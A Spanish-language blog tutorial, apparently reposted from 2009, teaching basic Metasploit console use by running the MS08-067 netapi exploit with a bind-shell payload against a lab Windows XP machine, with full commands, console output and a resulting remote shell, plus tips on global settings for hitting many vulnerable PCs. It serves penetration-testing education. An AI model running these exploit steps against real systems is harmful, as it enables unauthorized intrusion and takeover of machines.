Banner 1

Metasploit: Uso básico y ejecución de exploits

ANUNCIO:

Hace poco publique un articulo sobre como entrar a una pc por medio de explotacion del servicio dcom de modo guiado por medio de metasploit, bueno para los que no entendieron posteo esta guia la cual es algo mas general :D

-------------------------------------------------------------------------------------------------

Una vez que hemos hablado sobre Metasploit y lo hemos instalado y actualizado llega el momento de ponerlo en funcionamiento. Hoy vamos a ver el manejo básico de la herramienta y de paso lanzaremos un exploit contra una maquina vulnerable, todo en entorno de laboratorio.

::Manejo Basico::
Para todas las pruebas vamos a utilizar la consola mfs. Desde Unix accedemos a ella mediante el binario “mfsconsole“. Desde Windows podemos acceder mediante la GUI, y una vez abierta haciendo click en Window->Console o con la combinación de teclas Ctrl+o.
Lo primero que vemos en la consola es un resumen de los exploits, payloads, encoders, etc cargados en el entorno:

____________
<>
————
\ ,__,
\ (oo)____
(__) )\
||–|| *

=[ msf v3.2-release
+ -- --=[ 262 exploits - 117 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 46 aux

El primer comando que deberíamos probar es "help", que nos muestra los comandos disponibles y una breve explicación de los mismos:

mfs_help

Por otro lado tenemos un sistema víctima a auditar. En nuestro caso se trata de un sistema virtual Windows XP que me ha proporcionado spanic. Dicho sistema es vulnerable al "Microsoft Security Bulletin MS08-067 – Critical", sobre el que ya hablé en su dia.
Nos hemos saltado un paso importante: identificar el sistema vulnerable. Habitualmente nadie usa Metasploit para ello aunque como veremos en futuros post es posible realizarlo desde él o importando directamente informes de aplicaciones como Nessus.
Para el caso que nos ocupa simplemente tenemos una máquina vulnerable en la IP 192.168.60.130 y nuestra máquina con el Metasploit instalado y la consola esperando a que explotemos la vulnerabilidad de la víctima.

Volvemos pues a la consola mfs. Es posible navegar los exploits, encoders, payloads, etc con el comando "show". Por ejemplo para listar los exploits disponibles utilizaremos el comando "show exploits", que nos da el siguiente resultado (recortado para un mejor entendimiento):

....
windows/smb/ms06_066_nwwks Microsoft Services MS06-066 nwwks.dll
windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
windows/smb/msdns_zonename Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)
....

Como podemos apreciar el framework tiene disponible un exploit para la vulnerabilidad que queremos explotar (ms08_067_netapi).
Para situarnos en el exploit que queremos lanzar utilizamos el comando "use". Por ejemplo nosotros introduciremos el comando "use windows/smb/ms08_067_netapi". Como vemos el promt ha cambiado:

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

Ahora necesitamos saber qué opciones permite este exploit y cómo configurarlo, seleccionar el objetivo, etc. En Metasploit esto se realiza mediante la modificación de variables asociadas a cada exploit. Para ver que opciones nos permite configurar un exploit determinado utilizamos el comando "info" (recortado para un mejor entendimiento):

msf exploit(ms08_067_netapi) > info

Name: Microsoft Server Service Relative Path Stack Corruption
Version: 5888
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)

Provided by:
hdm
Brett Moore

Available targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
.......

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload information:
Space: 400
Avoid: 8 characters

Description:
.....

References:
.....

Como podemos apreciar tenemos disponibles opciones para seleccionar el objetivo (RHOST), el puerto de smb (RPORT) y el pipe utilizado (SMBPIPE) y se nos informa de si son necesarios u opcionales. También hay abundante información acerca de sobre qué sistemas está probado el exploit, descripción del mismo, referencias, etc.

Para aplicar las opciones utilizamos el comando "set". Este comando recibe como primer parametro la opción y como segundo el valor a aplicar, separados por espacios. Esto quiere decir que si el valor de una variable tiene espacios debemos introducirlo entre comillas dobles. En nuestro caso estableceríamos el objetivo, puerto y pipe con la siguiente secuencia:

msf exploit(ms08_067_netapi) > set RHOST 192.168.60.130
RHOST => 192.168.60.130
msf exploit(ms08_067_netapi) > set RPORT 445
RPORT => 445
msf exploit(ms08_067_netapi) > set SMBPIPE BROWSER
SMBPIPE => BROWSER

Ahora vamos a configurar el Payload. Vamos a utilizar uno sencillo que sirve para darnos acceso a una linea de comandos en la máquina víctima, si bien hay algunos muy elaborados como por ejemplo la inyección de dll's para conectarnos a la víctima por VNC.
Para ver los payloads disponibles tenemos la opción "show payloads", para elegir el que queremos usamos el comando "set". En nuestro caso:

msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp

Ahora con el comando "show options" podemos comprobar que los datos se han introducido correctamente:

msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.60.130 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell_bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST 192.168.60.130 no The target address

Exploit target:

Id Name
-- ----
0 Automatic Targeting

En este caso solo tenemos un sistema víctima posible (con ID 0), en caso de tener varios elegiríamos con "set target N".
Asímismo algunos exploits permiten la comprobación de la vulnerabilidad sin ejecutarla mediante el comando "check". Este no es el caso por lo que solo nos queda lanzar el exploit, para ello utilizamos el comando "exploit":

msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability…
[*] Command shell session 1 opened (192.168.60.1:5953 -> 192.168.60.130:4444)

Microsoft Windows XP [Versi?n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

El sistema es nuestro ;)

Lo comprobamos ejecutando comandos sobre la shell que acabamos de obtener:

C:\WINDOWS\system32>ipconfig /all
ipconfig /all

Configuraci?n IP de Windows

Nombre del host . . . . . . . . . : spanic-08bcbab7
Sufijo DNS principal . . . . . . :
Tipo de nodo. . . . . . . . . . . : mixto
Enrutamiento habilitado. . . . . .: No
Proxy WINS habilitado. . . . . : No
Lista de b?squeda de sufijo DNS: localdomain

Adaptador Ethernet Conexi?n de ?rea local :

Sufijo de conexi?n espec?fica DNS : localdomain
Descripci?n. . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
Direcci?n f?sica. . . . . . . . . : 00-0C-29-32-66-B3
DHCP habilitado. . . . . . . . . : No
Autoconfiguraci?n habilitada. . . : S?
Direcci?n IP. . . . . . . . . . . : 192.168.60.130
M?scara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada : 192.168.60.2
Servidor DHCP . . . . . . . . . . : 192.168.60.254
Servidores DNS . . . . . . . . . .: 192.168.60.2
Servidor WINS principal . . . . . : 192.168.60.2
Concesi?n obtenida . . . . . . . : mi?rcoles, 11 de febrero de 2009 11:49:35
Concesi?n expira . . . . . . . . .: mi?rcoles, 11 de febrero de 2009 12:19:35

C:\WINDOWS\system32>
A destacar que hemos introducido las opciones para un objetivo concreto pero ¿y si tengo una lista de 50 pc’s con la misma vulnerabilidad y quiero explotarlos todos? ¿tengo que ir uno por uno ? Evidentemente la respuesta es no. En Metasploit podemos definir variables globales.
Para volver a la pantalla inicial tenemos el comando “back“. Una vez en la pantalla inicial podemos definir variables globales con el comando “setg“. Si por ejemplo queremos definir globalmente que el payload sea el que utilizamos en esta ocasión utilizamos:

msf > setg payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp

Después con “setg” comprobamos qué variables globales tenemos definidas con sus correspondientes valores:

msf > setg

Global
======

Name Value
—- —–
payload windows/shell_bind_tcp

Si queremos guardar nuestras variables globales para que se queden incluso después de cerrar el Metasploit usamos el comando “save“:

msf > save
Saved configuration to: C:\Documents and Settings\dmedianero\Datos de programa/.msf3/config

Como podemos ver el framework nos informa de dónde queda guardada dicha configuración, es un fichero de texto en formato simple.
Hasta aqui lo que probablemente todos los que usáis Metasploit hayáis utilizado habitualmente, a partir de ahora intentaré poco a poco escribir sobre usos menos comunes y muy utiles como el manejo de jobs, uso otros payloads, BBDD, etc.


Fuente:http://dmedianero.byethost15.com/blog/2009/02/metasploit-uso-basico-y-ejecucion-de-exploits/

2 comentarios:

Powered by Bad Robot
Helped by Blackubay